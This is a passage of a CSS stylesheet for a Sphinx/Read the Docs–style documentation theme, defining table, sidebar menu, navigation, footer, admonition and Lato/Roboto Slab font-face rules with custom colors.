table.field-list .wy-table-cell-min { width: 1%; padding-right: 0 } .wy-table .wy-table-cell-min input[type=checkbox], .rst-content table.docutils .wy-table-cell-min input[type=checkbox], .rst-content table.field-list .wy-table-cell-min input[type=checkbox], .wy-table .wy-table-cell-min input[type=checkbox], .rst-content table.docutils .wy-table-cell-min input[type=checkbox], .rst-content table.field-list .wy-table-cell-min input[type=checkbox] { margin: 0 } .wy-table-secondary { color: gray; font-size: 90% } .wy-table-tertiary { color: gray; font-size: 80% } .wy-table-odd td, .wy-table-striped tr:nth-child(2n-1) td, .rst-content table.docutils:not(.field-list) tr:nth-child(2n-1) td { background-color: #f3f6f6 } .wy-table-backed { background-color: #f3f6f6 } .wy-table-bordered-all, .rst-content table.docutils { border: 1px solid #e1e4e5 } .wy-table-bordered-all td, .rst-content table.docutils td { border-bottom: 1px solid #e1e4e5; border-left: 1px solid #e1e4e5 } .wy-table-bordered-all tbody>tr:last-child td, .rst-content table.docutils tbody>tr:last-child td { border-bottom-width: 0 } .wy-table-bordered { border: 1px solid #e1e4e5 } .wy-table-bordered-rows td { border-bottom: 1px solid #e1e4e5 } .wy-table-bordered-rows tbody>tr:last-child td { border-bottom-width: 0 } .wy-table-horizontal tbody>tr:last-child td { border-bottom-width: 0 } .wy-table-horizontal td, .wy-table-horizontal th { border-width: 0 0 1px 0; border-bottom: 1px solid #e1e4e5 } .wy-table-horizontal tbody>tr:last-child td { border-bottom-width: 0 } .wy-table-responsive { margin-bottom: 24px; max-width: 100%; overflow: auto } .wy-table-responsive table { margin-bottom: 0 !important } .wy-table-responsive table td, .wy-table-responsive table th { white-space: nowrap } a { text-decoration: none; cursor: pointer; color: #102971; } html { height: 100%; overflow-x: hidden; } /* Body */ body { font-family: sofia-pro, sans-serif; font-weight: 300; color: #052882; min-height: 100%; overflow-x: hidden; background: #fff; font-style: normal; } .wy-text-left { text-align: left } .wy-text-center { text-align: center } .wy-text-right { text-align: right } .wy-text-large { font-size: 120% } .wy-text-normal { font-size: 100% } .wy-text-small, small { font-size: 80% } .wy-text-strike { text-decoration: line-through } .wy-text-warning { color: #E67E22 !important } a.wy-text-warning:hover { color: #eb9950 !important } .wy-text-info { color: #2980B9 !important } a.wy-text-info:hover { color: #409ad5 !important } .wy-text-success { color: #052882 !important } a.wy-text-success:hover { color: #36d278 !important } .wy-text-danger { color: #E74C3C !important } a.wy-text-danger:hover { color: #ed7669 !important } .wy-text-neutral { color: #404040 !important } a.wy-text-neutral:hover { color: #595959 !important } h1, h2, .rst-content .toctree-wrapper p.caption, h3, h4, h5, h6, legend { margin-top: 0; font-weight: 300; font-family: sofia-pro, sans-serif; } p { line-height: 24px; margin: 0; font-size: 16px; margin-bottom: 24px } h1 { font-size: 45px; line-height: 50px; } h2, .rst-content .toctree-wrapper p.caption { font-size: 25px; font-weight: 500; } h3 { font-size: 125% } h4 { font-size: 115% } h5 { font-size: 110% } h6 { font-size: 100% } hr { display: block; height: 1px; border: 0; border-top: 1px solid #e1e4e5; margin: 24px 0; padding: 0 } code, .rst-content tt, .rst-content code { white-space: nowrap; max-width: 100%; background: #fff; border: solid 1px #e1e4e5; font-size: 75%; padding: 0 5px; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; color: #E74C3C; overflow-x: auto } code.code-large, .rst-content tt.code-large { font-size: 90% } .wy-plain-list-disc, .rst-content .section ul, .rst-content .toctree-wrapper ul, article ul { list-style: disc; line-height: 24px; margin-bottom: 24px } .wy-plain-list-disc li, .rst-content .section ul li, .rst-content .toctree-wrapper ul li, article ul li { list-style: disc; margin-left: 24px } .wy-plain-list-disc li p:last-child, .rst-content .section ul li p:last-child, .rst-content .toctree-wrapper ul li p:last-child, article ul li p:last-child { margin-bottom: 0 } .wy-plain-list-disc li ul, .rst-content .section ul li ul, .rst-content .toctree-wrapper ul li ul, article ul li ul { margin-bottom: 0 } .wy-plain-list-disc li li, .rst-content .section ul li li, .rst-content .toctree-wrapper ul li li, article ul li li { list-style: circle } .wy-plain-list-disc li li li, .rst-content .section ul li li li, .rst-content .toctree-wrapper ul li li li, article ul li li li { list-style: square } .wy-plain-list-disc li ol li, .rst-content .section ul li ol li, .rst-content .toctree-wrapper ul li ol li, article ul li ol li { list-style: decimal } .wy-plain-list-decimal, .rst-content .section ol, .rst-content ol.arabic, article ol { list-style: decimal; line-height: 24px; margin-bottom: 24px } .wy-plain-list-decimal li, .rst-content .section ol li, .rst-content ol.arabic li, article ol li { list-style: decimal; margin-left: 24px } .wy-plain-list-decimal li p:last-child, .rst-content .section ol li p:last-child, .rst-content ol.arabic li p:last-child, article ol li p:last-child { margin-bottom: 0 } .wy-plain-list-decimal li ul, .rst-content .section ol li ul, .rst-content ol.arabic li ul, article ol li ul { margin-bottom: 0 } .wy-plain-list-decimal li ul li, .rst-content .section ol li ul li, .rst-content ol.arabic li ul li, article ol li ul li { list-style: disc } .wy-breadcrumbs { *zoom: 1 } .wy-breadcrumbs:before, .wy-breadcrumbs:after { display: table; content: "" } .wy-breadcrumbs:after { clear: both } .wy-breadcrumbs li { display: inline-block } .wy-breadcrumbs li.wy-breadcrumbs-aside { float: right } .wy-breadcrumbs li a { display: inline-block; padding: 5px } .wy-breadcrumbs li a:first-child { padding-left: 0 } .wy-breadcrumbs li code, .wy-breadcrumbs li .rst-content tt, .rst-content .wy-breadcrumbs li tt { padding: 5px; border: none; background: none } .wy-breadcrumbs li code.literal, .wy-breadcrumbs li .rst-content tt.literal, .rst-content .wy-breadcrumbs li tt.literal { color: #404040 } .wy-breadcrumbs-extra { margin-bottom: 0; color: #b3b3b3; font-size: 80%; display: inline-block } @media screen and (max-width: 480px) { .wy-breadcrumbs-extra { display: none } .wy-breadcrumbs li.wy-breadcrumbs-aside { display: none } } @media print { .wy-breadcrumbs li.wy-breadcrumbs-aside { display: none } } .wy-affix { position: fixed; top: 1.618em } .wy-menu a:hover { text-decoration: none } .wy-menu-horiz { *zoom: 1 } .wy-menu-horiz:before, .wy-menu-horiz:after { display: table; content: "" } .wy-menu-horiz:after { clear: both } .wy-menu-horiz ul, .wy-menu-horiz li { display: inline-block } .wy-menu-horiz li:hover { background: rgba(255, 255, 255, 0.1) } .wy-menu-horiz li.divide-left { border-left: solid 1px #404040 } .wy-menu-horiz li.divide-right { border-right: solid 1px #404040 } .wy-menu-horiz a { height: 32px; display: inline-block; line-height: 32px; padding: 0 16px } .wy-menu-vertical { width: 300px } .wy-menu-vertical > ul:first-child li a { font-size: 20px; line-height: 25px; letter-spacing: .5px; font-weight: 700; padding-left: 20px; padding-right: 20px; } .wy-menu-vertical > ul:first-child li a:hover { background-color: #102971 !important; color: #fff !important; } .wy-menu-vertical header, .wy-menu-vertical p.caption { height: 32px; display: inline-block; line-height: 32px; padding: 0 35px; margin-bottom: 0; display: block; font-weight: normal; text-transform: uppercase; font-size: 80%; white-space: nowrap; } .wy-menu-vertical ul { margin-bottom: 0 } .wy-menu-vertical li.divide-top { border-top: solid 1px #404040 } .wy-menu-vertical li.divide-bottom { border-bottom: solid 1px #404040 } /* .wy-menu-vertical li.current { background: #e3e3e3; } */ .wy-menu-vertical li a { /* color: gray; */ /* border-right: solid 1px #c9c9c9; */ padding: .4045em 35px; } /* .wy-menu-vertical li.current a:hover { background: #d6d6d6 } */ .wy-menu-vertical li code, .wy-menu-vertical li .rst-content tt, .rst-content .wy-menu-vertical li tt { border: none; background: inherit; color: inherit; padding-left: 0; padding-right: 0 } .wy-menu-vertical li span.toctree-expand { display: block; float: left; margin-left: -1.2em; font-size: .8em; line-height: 1.6em; color: #4d4d4d } .wy-menu-vertical li.on a, .wy-menu-vertical li.current>a { color: #fff; /* padding: .4045em 1.618em; */ font-weight: normal; position: relative; /* background: #fcfcfc; */ border: none; /* padding-left: 1.618em -4px; */ } .wy-menu-vertical li.on a:hover, .wy-menu-vertical li.current>a:hover { /* background: #fcfcfc */ } .wy-menu-vertical li.on a:hover span.toctree-expand, .wy-menu-vertical li.current>a:hover span.toctree-expand { /* color: gray */ } .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.current>a span.toctree-expand { display: block; font-size: .8em; line-height: 1.6em; /* color: #333 */ } /* .wy-menu-vertical li.toctree-l1.current>a { border-bottom: solid 1px #c9c9c9; border-top: solid 1px #c9c9c9 } */ .wy-menu-vertical li.toctree-l2 a, .wy-menu-vertical li.toctree-l3 a, .wy-menu-vertical li.toctree-l4 a { color: #fff; } .wy-menu-vertical li.toctree-l1.current li.toctree-l2>ul, .wy-menu-vertical li.toctree-l2.current li.toctree-l3>ul { display: none } .wy-menu-vertical li.toctree-l1.current li.toctree-l2.current>ul, .wy-menu-vertical li.toctree-l2.current li.toctree-l3.current>ul { display: block } .wy-menu-vertical li.toctree-l2.current li.toctree-l3>a { display: block; /* background: #c9c9c9; */ padding: .4045em 4.045em; } .wy-menu-vertical li.toctree-l2 a:hover span.toctree-expand { color: gray } .wy-menu-vertical li.toctree-l2 span.toctree-expand { color: #a3a3a3 } .wy-menu-vertical li.toctree-l3 { font-size: .9em } .wy-menu-vertical li.toctree-l3.current>a { /* background: #bdbdbd; */ padding: .4045em 4.045em } .wy-menu-vertical li.toctree-l3.current li.toctree-l4>a { display: block; background: #bdbdbd; padding: .4045em 5.663em } .wy-menu-vertical li.toctree-l3 a:hover span.toctree-expand { color: gray } .wy-menu-vertical li.toctree-l3 span.toctree-expand { color: #969696 } .wy-menu-vertical li.toctree-l4 { font-size: .9em } .wy-menu-vertical li.current ul { display: block } .wy-menu-vertical li ul { margin-bottom: 0; display: none } .wy-menu-vertical li ul li a { margin-bottom: 0; color: #d9d9d9; font-weight: normal } .wy-menu-vertical a { display: inline-block; line-height: 18px; padding: .4045em 20px; display: block; position: relative; font-size: 90%; color: #fff; } .wy-menu-vertical a:hover { background-color: #fff; cursor: pointer; color: #102971 !important; } .wy-menu-vertical a:hover span.toctree-expand { color: #d9d9d9 } .wy-menu-vertical a:active { background-color: #2980B9; cursor: pointer; color: #fff } .wy-menu-vertical a:active span.toctree-expand { color: #fff } .wy-side-nav-search { display: block; width: 300px; padding: .809em; margin-bottom: .809em; z-index: 200; background-color: #102971; text-align: center; padding: .809em; display: block; color: #fcfcfc; margin-bottom: .809em } .wy-side-nav-search input[type=text] { width: 100%; border-radius: 28px; padding: 12px 0 12px 32px; border-color: #102971; font-size: 16px; color: #8E93A0; } .wy-side-nav-search img { display: block; margin: auto auto .809em auto; height: 45px; width: 45px; background-color: #2980B9; padding: 5px; border-radius: 100% } .wy-side-nav-search>a, .wy-side-nav-search .wy-dropdown>a { color: #fcfcfc; font-size: 100%; font-weight: bold; display: inline-block; padding: 4px 6px; margin-bottom: .809em } .wy-side-nav-search>a:hover, .wy-side-nav-search .wy-dropdown>a:hover { background: rgba(255, 255, 255, 0.1) } .wy-side-nav-search>a img.logo, .wy-side-nav-search .wy-dropdown>a img.logo { display: block; margin: 0 auto; height: auto; width: auto; border-radius: 0; max-width: 100%; background: transparent } .wy-side-nav-search>a.icon img.logo, .wy-side-nav-search .wy-dropdown>a.icon img.logo { margin-top: .85em } .wy-side-nav-search>div.version { margin-top: -.4045em; margin-bottom: .809em; font-weight: normal; color: rgba(255, 255, 255, 0.3) } .wy-nav .wy-menu-vertical header { color: #2980B9 } .wy-nav .wy-menu-vertical a { color: #b3b3b3 } [data-menu-wrap] { -webkit-transition: all .2s ease-in; -moz-transition: all .2s ease-in; transition: all .2s ease-in; position: absolute; opacity: 1; width: 100%; opacity: 0 } [data-menu-wrap].move-center { left: 0; right: auto; opacity: 1 } [data-menu-wrap].move-left { right: auto; left: -100%; opacity: 0 } [data-menu-wrap].move-right { right: -100%; left: auto; opacity: 0 } .wy-body-for-nav { background: #fcfcfc } .wy-grid-for-nav { position: absolute; width: 100%; height: 100%; padding-top: 128px;/*167px;*/ } .wy-nav-side { position: fixed; top: 128px;/*167px;*/ bottom: 0; left: 0; padding-bottom: 2em; width: 300px; overflow-x: hidden; overflow-y: hidden; min-height: calc(100vh - 78px); color: #fff; background: #102971; z-index: 200 } .wy-side-scroll { width: 320px; position: relative; overflow-x: hidden; overflow-y: scroll; height: 100% } .wy-nav-top { display: none; background: #2980B9; color: #fff; padding: .4045em .809em; position: relative; line-height: 50px; text-align: center; font-size: 100%; *zoom: 1 } .wy-nav-top:before, .wy-nav-top:after { display: table; content: "" } .wy-nav-top:after { clear: both } .wy-nav-top a { color: #fff; font-weight: bold } .wy-nav-top img { margin-right: 12px; height: 45px; width: 45px; background-color: #2980B9; padding: 5px; border-radius: 100% } .wy-nav-top i { font-size: 30px; float: left; cursor: pointer; padding-top: inherit } .wy-nav-content-wrap { margin-left: 300px; background: #fff; min-height: 100% } .wy-nav-content { padding: 1.618em 3.236em; height: 100%; max-width: 800px; margin: auto } .wy-body-mask { position: fixed; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.2); display: none; z-index: 499 } .wy-body-mask.on { display: block } footer { color: gray } footer p { margin-bottom: 12px } footer span.commit code, footer span.commit .rst-content tt, .rst-content footer span.commit tt { padding: 0px; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; font-size: 1em; background: none; border: none; color: gray } .rst-footer-buttons { *zoom: 1 } .rst-footer-buttons:before, .rst-footer-buttons:after { width: 100% } .rst-footer-buttons:before, .rst-footer-buttons:after { display: table; content: "" } .rst-footer-buttons:after { clear: both } .rst-breadcrumbs-buttons { margin-top: 12px; *zoom: 1 } .rst-breadcrumbs-buttons:before, .rst-breadcrumbs-buttons:after { display: table; content: "" } .rst-breadcrumbs-buttons:after { clear: both } #search-results .search li { margin-bottom: 24px; border-bottom: solid 1px #e1e4e5; padding-bottom: 24px } #search-results .search li:first-child { border-top: solid 1px #e1e4e5; padding-top: 24px } #search-results .search li a { font-size: 120%; margin-bottom: 12px; display: inline-block } #search-results .context { color: gray; font-size: 90% } @media screen and (max-width: 768px) { .wy-body-for-nav { background: #fcfcfc } .wy-nav-top { display: block } .wy-nav-side { left: -100vw; } .wy-nav-side.shift { width: 85%; left: 0 } .wy-side-scroll { width: auto } .wy-side-nav-search { width: auto } .wy-menu.wy-menu-vertical { width: auto } .wy-nav-content-wrap { margin-left: 0 } .wy-nav-content-wrap .wy-nav-content { padding: 1.618em; padding-top: 60px; } .wy-nav-content-wrap.shift { position: fixed; min-width: 100%; left: 85%; top: 0; height: 100%; overflow: hidden } } @media screen and (min-width: 1100px) { .wy-nav-content { margin: 0; background: #fff; } } @media print { .rst-versions, footer, .wy-nav-side { display: none } .wy-nav-content-wrap { margin-left: 0 } } .rst-versions { position: fixed; bottom: 0; left: 0; width: 300px; color: #fcfcfc; /* background: #1f1d1d; */ font-family: sofia-pro, sans-serif; z-index: 400 } .rst-versions a { color: #2980B9; text-decoration: none } .rst-versions .rst-badge-small { display: none } .rst-versions .rst-current-version { padding: 12px; /* background-color: #272525; */ display: block; text-align: right; font-size: 90%; cursor: pointer; color: #052882; *zoom: 1 } .rst-versions .rst-current-version:before, .rst-versions .rst-current-version:after { display: table; content: "" } .rst-versions .rst-current-version:after { clear: both } .rst-versions .rst-current-version .fa, .rst-versions .rst-current-version .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li .rst-versions .rst-current-version span.toctree-expand, .rst-versions .rst-current-version .rst-content .admonition-title, .rst-content .rst-versions .rst-current-version .admonition-title, .rst-versions .rst-current-version .rst-content h1 .headerlink, .rst-content h1 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content h2 .headerlink, .rst-content h2 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content h3 .headerlink, .rst-content h3 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content h4 .headerlink, .rst-content h4 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content h5 .headerlink, .rst-content h5 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content h6 .headerlink, .rst-content h6 .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content dl dt .headerlink, .rst-content dl dt .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content p.caption .headerlink, .rst-content p.caption .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content table>caption .headerlink, .rst-content table>caption .rst-versions .rst-current-version .headerlink, .rst-versions .rst-current-version .rst-content tt.download span:first-child, .rst-content tt.download .rst-versions .rst-current-version span:first-child, .rst-versions .rst-current-version .rst-content code.download span:first-child, .rst-content code.download .rst-versions .rst-current-version span:first-child, .rst-versions .rst-current-version .icon { color: #fcfcfc } .rst-versions .rst-current-version .fa-book, .rst-versions .rst-current-version .icon-book { float: left } .rst-versions .rst-current-version .icon-book { float: left } .rst-versions .rst-current-version.rst-out-of-date { background-color: #E74C3C; color: #fff } .rst-versions .rst-current-version.rst-active-old-version { background-color: #F1C40F; color: #000 } .rst-versions.shift-up { height: auto; max-height: 100% } .rst-versions.shift-up .rst-other-versions { display: block } .rst-versions .rst-other-versions { font-size: 90%; padding: 12px; color: gray; display: none } .rst-versions .rst-other-versions hr { display: block; height: 1px; border: 0; margin: 20px 0; padding: 0; border-top: solid 1px #413d3d } .rst-versions .rst-other-versions dd { display: inline-block; margin: 0 } .rst-versions .rst-other-versions dd a { display: inline-block; padding: 6px; color: #fcfcfc } .rst-versions.rst-badge { width: auto; bottom: 20px; right: 20px; left: auto; border: none; max-width: 300px } .rst-versions.rst-badge .icon-book { float: none } .rst-versions.rst-badge .fa-book, .rst-versions.rst-badge .icon-book { float: none } .rst-versions.rst-badge.shift-up .rst-current-version { text-align: right } .rst-versions.rst-badge.shift-up .rst-current-version .fa-book, .rst-versions.rst-badge.shift-up .rst-current-version .icon-book { float: left } .rst-versions.rst-badge.shift-up .rst-current-version .icon-book { float: left } .rst-versions.rst-badge .rst-current-version { width: auto; height: 30px; line-height: 30px; padding: 0 6px; display: block; text-align: center } @media screen and (max-width: 768px) { .rst-versions { width: 85%; display: none } .rst-versions.shift { display: block } } .rst-content img { max-width: 100%; height: auto } .rst-content div.figure { margin-bottom: 24px } .rst-content div.figure p.caption { font-style: italic } .rst-content div.figure p:last-child.caption { margin-bottom: 0px } .rst-content div.figure.align-center { text-align: center } .rst-content .section>img, .rst-content .section>a>img { margin-bottom: 24px } .rst-content abbr[title] { text-decoration: none } .rst-content.style-external-links a.reference.external:after { font-family: FontAwesome; content: ""; color: #b3b3b3; vertical-align: super; font-size: 60%; margin: 0 .2em } .rst-content blockquote { margin-left: 24px; line-height: 24px; margin-bottom: 24px } .rst-content pre.literal-block { white-space: pre; margin: 0; padding: 12px 12px; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; display: block; overflow: auto } .rst-content pre.literal-block, .rst-content div[class^='highlight'] { border: 1px solid #e1e4e5; overflow-x: auto; margin: 1px 0 24px 0 } .rst-content pre.literal-block div[class^='highlight'], .rst-content div[class^='highlight'] div[class^='highlight'] { padding: 0px; border: none; margin: 0 } .rst-content div[class^='highlight'] td.code { width: 100% } .rst-content .linenodiv pre { border-right: solid 1px #e6e9ea; margin: 0; padding: 12px 12px; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; user-select: none; pointer-events: none } .rst-content div[class^='highlight'] pre { white-space: pre; margin: 0; padding: 12px 12px; display: block; overflow: auto } .rst-content div[class^='highlight'] pre .hll { display: block; margin: 0 -12px; padding: 0 12px } .rst-content pre.literal-block, .rst-content div[class^='highlight'] pre, .rst-content .linenodiv pre { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; font-size: 12px; line-height: 1.4 } @media print { .rst-content .codeblock, .rst-content div[class^='highlight'], .rst-content div[class^='highlight'] pre { white-space: pre-wrap } } .rst-content .note .last, .rst-content .attention .last, .rst-content .caution .last, .rst-content .danger .last, .rst-content .error .last, .rst-content .hint .last, .rst-content .important .last, .rst-content .tip .last, .rst-content .warning .last, .rst-content .seealso .last, .rst-content .admonition-todo .last, .rst-content .admonition .last { margin-bottom: 0 } .rst-content .admonition-title:before { margin-right: 4px } .rst-content .admonition table { border-color: rgba(0, 0, 0, 0.1) } .rst-content .admonition table td, .rst-content .admonition table th { background: transparent !important; border-color: rgba(0, 0, 0, 0.1) !important } .rst-content .section ol.loweralpha, .rst-content .section ol.loweralpha li { list-style: lower-alpha } .rst-content .section ol.upperalpha, .rst-content .section ol.upperalpha li { list-style: upper-alpha } .rst-content .section ol p, .rst-content .section ul p { margin-bottom: 12px } .rst-content .section ol p:last-child, .rst-content .section ul p:last-child { margin-bottom: 24px } .rst-content .line-block { margin-left: 0px; margin-bottom: 24px; line-height: 24px } .rst-content .line-block .line-block { margin-left: 24px; margin-bottom: 0px } .rst-content .topic-title { font-weight: bold; margin-bottom: 12px } .rst-content .toc-backref { color: #404040 } .rst-content .align-right { float: right; margin: 0px 0px 24px 24px } .rst-content .align-left { float: left; margin: 0px 24px 24px 0px } .rst-content .align-center { margin: auto } .rst-content .align-center:not(table) { display: block } .rst-content h1 .headerlink, .rst-content h2 .headerlink, .rst-content .toctree-wrapper p.caption .headerlink, .rst-content h3 .headerlink, .rst-content h4 .headerlink, .rst-content h5 .headerlink, .rst-content h6 .headerlink, .rst-content dl dt .headerlink, .rst-content p.caption .headerlink, .rst-content table>caption .headerlink { visibility: hidden; font-size: 14px } .rst-content h1 .headerlink:after, .rst-content h2 .headerlink:after, .rst-content .toctree-wrapper p.caption .headerlink:after, .rst-content h3 .headerlink:after, .rst-content h4 .headerlink:after, .rst-content h5 .headerlink:after, .rst-content h6 .headerlink:after, .rst-content dl dt .headerlink:after, .rst-content p.caption .headerlink:after, .rst-content table>caption .headerlink:after { content: ""; font-family: FontAwesome } .rst-content h1:hover .headerlink:after, .rst-content h2:hover .headerlink:after, .rst-content .toctree-wrapper p.caption:hover .headerlink:after, .rst-content h3:hover .headerlink:after, .rst-content h4:hover .headerlink:after, .rst-content h5:hover .headerlink:after, .rst-content h6:hover .headerlink:after, .rst-content dl dt:hover .headerlink:after, .rst-content p.caption:hover .headerlink:after, .rst-content table>caption:hover .headerlink:after { visibility: visible } .rst-content table>caption .headerlink:after { font-size: 12px } .rst-content .centered { text-align: center } .rst-content .sidebar { float: right; width: 40%; display: block; margin: 0 0 24px 24px; padding: 24px; background: #f3f6f6; border: solid 1px #e1e4e5 } .rst-content .sidebar p, .rst-content .sidebar ul, .rst-content .sidebar dl { font-size: 90% } .rst-content .sidebar .last { margin-bottom: 0 } .rst-content .sidebar .sidebar-title { display: block; font-family: "Roboto Slab", "ff-tisa-web-pro", "Georgia", Arial, sans-serif; font-weight: bold; background: #e1e4e5; padding: 6px 12px; margin: -24px; margin-bottom: 24px; font-size: 100% } .rst-content .highlighted { background: #F1C40F; display: inline-block; font-weight: bold; padding: 0 6px } .rst-content .footnote-reference, .rst-content .citation-reference { vertical-align: baseline; position: relative; top: -0.4em; line-height: 0; font-size: 90% } .rst-content table.docutils.citation, .rst-content table.docutils.footnote { background: none; border: none; color: gray } .rst-content table.docutils.citation td, .rst-content table.docutils.citation tr, .rst-content table.docutils.footnote td, .rst-content table.docutils.footnote tr { border: none; background-color: transparent !important; white-space: normal } .rst-content table.docutils.citation td.label, .rst-content table.docutils.footnote td.label { padding-left: 0; padding-right: 0; vertical-align: top } .rst-content table.docutils.citation tt, .rst-content table.docutils.citation code, .rst-content table.docutils.footnote tt, .rst-content table.docutils.footnote code { color: #555 } .rst-content .wy-table-responsive.citation, .rst-content .wy-table-responsive.footnote { margin-bottom: 0 } .rst-content .wy-table-responsive.citation+:not(.citation), .rst-content .wy-table-responsive.footnote+:not(.footnote) { margin-top: 24px } .rst-content .wy-table-responsive.citation:last-child, .rst-content .wy-table-responsive.footnote:last-child { margin-bottom: 24px } .rst-content table.docutils th { border-color: #e1e4e5 } .rst-content table.docutils td .last, .rst-content table.docutils td .last :last-child { margin-bottom: 0 } .rst-content table.field-list { border: none } .rst-content table.field-list td { border: none } .rst-content table.field-list td>strong { display: inline-block } .rst-content table.field-list .field-name { padding-right: 10px; text-align: left; white-space: nowrap } .rst-content table.field-list .field-body { text-align: left } .rst-content tt, .rst-content tt, .rst-content code { color: #000; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; padding: 2px 5px } .rst-content tt big, .rst-content tt em, .rst-content tt big, .rst-content code big, .rst-content tt em, .rst-content code em { font-size: 100% !important; line-height: normal } .rst-content tt.literal, .rst-content tt.literal, .rst-content code.literal { color: #E74C3C } .rst-content tt.xref, a .rst-content tt, .rst-content tt.xref, .rst-content code.xref, a .rst-content tt, a .rst-content code { font-weight: bold; color: #404040 } .rst-content pre, .rst-content kbd, .rst-content samp { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace } .rst-content a tt, .rst-content a tt, .rst-content a code { color: #2980B9 } .rst-content dl { margin-bottom: 24px } .rst-content dl dt { font-weight: bold; margin-bottom: 12px } .rst-content dl p, .rst-content dl table, .rst-content dl ul, .rst-content dl ol { margin-bottom: 12px !important } .rst-content dl dd { margin: 0 0 12px 24px; line-height: 24px } .rst-content dl:not(.docutils) { margin-bottom: 24px } .rst-content dl:not(.docutils) dt { display: table; margin: 6px 0; font-size: 90%; line-height: normal; background: #e7f2fa; color: #2980B9; border-top: solid 3px #6ab0de; padding: 6px; position: relative } .rst-content dl:not(.docutils) dt:before { color: #6ab0de } .rst-content dl:not(.docutils) dt .headerlink { color: #404040; font-size: 100% !important } .rst-content dl:not(.docutils) dl dt { margin-bottom: 6px; border: none; border-left: solid 3px #ccc; background: #f0f0f0; color: #555 } .rst-content dl:not(.docutils) dl dt .headerlink { color: #404040; font-size: 100% !important } .rst-content dl:not(.docutils) dt:first-child { margin-top: 0 } .rst-content dl:not(.docutils) tt, .rst-content dl:not(.docutils) tt, .rst-content dl:not(.docutils) code { font-weight: bold } .rst-content dl:not(.docutils) tt.descname, .rst-content dl:not(.docutils) tt.descclassname, .rst-content dl:not(.docutils) tt.descname, .rst-content dl:not(.docutils) code.descname, .rst-content dl:not(.docutils) tt.descclassname, .rst-content dl:not(.docutils) code.descclassname { background-color: transparent; border: none; padding: 0; font-size: 100% !important } .rst-content dl:not(.docutils) tt.descname, .rst-content dl:not(.docutils) tt.descname, .rst-content dl:not(.docutils) code.descname { font-weight: bold } .rst-content dl:not(.docutils) .optional { display: inline-block; padding: 0 4px; color: #000; font-weight: bold } .rst-content dl:not(.docutils) .property { display: inline-block; padding-right: 8px } .rst-content .viewcode-link, .rst-content .viewcode-back { display: inline-block; color: #052882; font-size: 80%; padding-left: 24px } .rst-content .viewcode-back { display: block; float: right } .rst-content p.rubric { margin-bottom: 12px; font-weight: bold } .rst-content tt.download, .rst-content code.download { background: inherit; padding: inherit; font-weight: normal; font-family: inherit; font-size: inherit; color: inherit; border: inherit; white-space: inherit } .rst-content tt.download span:first-child, .rst-content code.download span:first-child { -webkit-font-smoothing: subpixel-antialiased } .rst-content tt.download span:first-child:before, .rst-content code.download span:first-child:before { margin-right: 4px } .rst-content .guilabel { border: 1px solid #7fbbe3; background: #e7f2fa; font-size: 80%; font-weight: 700; border-radius: 4px; padding: 2.4px 6px; margin: auto 2px } .rst-content .versionmodified { font-style: italic } @media screen and (max-width: 480px) { .rst-content .sidebar { width: 100% } } span[id*='MathJax-Span'] { color: #404040 } .math { text-align: center } @font-face { font-family: "Lato"; src: url("../fonts/Lato/lato-regular.eot"); src: url("../fonts/Lato/lato-regular.eot?#iefix") format("embedded-opentype"), url("../fonts/Lato/lato-regular.woff2") format("woff2"), url("../fonts/Lato/lato-regular.woff") format("woff"), url("../fonts/Lato/lato-regular.ttf") format("truetype"); font-weight: 400; font-style: normal } @font-face { font-family: "Lato"; src: url("../fonts/Lato/lato-bold.eot"); src: url("../fonts/Lato/lato-bold.eot?#iefix") format("embedded-opentype"), url("../fonts/Lato/lato-bold.woff2") format("woff2"), url("../fonts/Lato/lato-bold.woff") format("woff"), url("../fonts/Lato/lato-bold.ttf") format("truetype"); font-weight: 700; font-style: normal } @font-face { font-family: "Lato"; src: url("../fonts/Lato/lato-bolditalic.eot"); src: url("../fonts/Lato/lato-bolditalic.eot?#iefix") format("embedded-opentype"), url("../fonts/Lato/lato-bolditalic.woff2") format("woff2"), url("../fonts/Lato/lato-bolditalic.woff") format("woff"), url("../fonts/Lato/lato-bolditalic.ttf") format("truetype"); font-weight: 700; font-style: italic } @font-face { font-family: "Lato"; src: url("../fonts/Lato/lato-italic.eot"); src: url("../fonts/Lato/lato-italic.eot?#iefix") format("embedded-opentype"), url("../fonts/Lato/lato-italic.woff2") format("woff2"), url("../fonts/Lato/lato-italic.woff") format("woff"), url("../fonts/Lato/lato-italic.ttf") format("truetype"); font-weight: 400; font-style: italic } @font-face { font-family: "Roboto Slab"; font-style: normal; font-weight: 400; src: url("../fonts/RobotoSlab/roboto-slab.eot"); src: url("../fonts/RobotoSlab/roboto-slab-v7-regular.eot?#iefix") format("embedded-opentype"), url("../fonts/RobotoSlab/roboto-slab-v7-regular.woff2") format("woff2"), url("../fonts/RobotoSlab/roboto-slab-v7-regular.woff") format("woff"), url("../fonts/RobotoSlab/roboto-slab-v7-regular.ttf") format("truetype") } @font-face { font-family: "Roboto Slab"; font-style: normal; font-weight: 700; src: url("../fonts/RobotoSlab/roboto-slab-v7-bold.eot"); src: url("../fonts/RobotoSlab/roboto-slab-v7-bold.eot?#iefix") format("embedded-opentype"), url("../fonts/RobotoSlab/roboto-slab-v7-bold.woff2") format("woff2"), url("../fonts/RobotoSlab/roboto-slab-v7-bold.woff") format("woff"), 